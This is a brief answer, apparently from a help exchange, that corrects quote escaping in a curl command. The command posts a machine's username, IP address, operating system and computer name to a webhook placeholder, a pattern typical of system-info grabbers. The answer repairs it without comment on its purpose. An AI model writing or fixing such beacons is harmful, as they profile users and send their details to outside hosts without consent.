To send a POST request using `curl` and include a JSON payload, you need to ensure that the formatting of the JSON string is correct, especially with the quotes. Below is the corrected curl command with appropriate escaping for quotes:
```bash
curl -X POST -H "Content-type: application/json" --data "{\"content\": \"User = %username% Ip = %ip% time = %time% date = %date% os = %os% Computername = %computername%\"}" %webhook%
```
